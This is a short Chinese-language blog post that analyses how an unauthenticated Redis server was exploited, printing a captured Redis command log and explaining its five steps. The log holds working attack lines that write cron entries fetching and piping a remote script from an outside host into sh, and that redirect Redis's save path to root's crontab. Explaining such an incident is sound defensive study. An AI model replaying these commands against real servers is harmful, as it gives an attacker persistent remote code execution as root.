前提:redis允许远程连接,不需要密码
1522057495.583846 [0 123.206.24.121:50084] "set" "dUHkp" "\n\n*/1 * * * * curl cdn.namunil.com/sh.php|sh\n" 1522057495.584467 [0 123.206.24.121:50084] "set" "yA" "\n\n*/2 * * * * wget -O- cdn.namunil.com/sh.php|sh\n" 1522057495.585023 [0 123.206.24.121:50084] "set" "HoemuOP" "\n\n*/3 * * * * /usr/bin/curl -qs cdn.namunil.com/sh.php|/bin/sh\n" 1522057495.585650 [0 123.206.24.121:50084] "set" "ehWap" "\n\n*/4 * * * * /usr/bin/wget -q -O- cdn.namunil.com/sh.php|/bin/sh\n" 1522057495.586313 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/" 1522057495.587036 [0 123.206.24.121:50084] "config" "set" "dbfilename" "root" 1522057495.587374 [0 123.206.24.121:50084] "save" 1522057495.587827 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/crontabs/" 1522057495.588235 [0 123.206.24.121:50084] "save"
1.执行set命令,保存字符串,value 是一条cron规则的形式
2.设置备份文件的目录到cron目录
3.设置备份文件的文件名成root
4.save保存文件,直接把字符串中的cron规则写入了文件
5.cron定时执行,远程脚本里面各种操作
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:[日常] 研究redis未授权访问漏洞利用过程 - Python技术站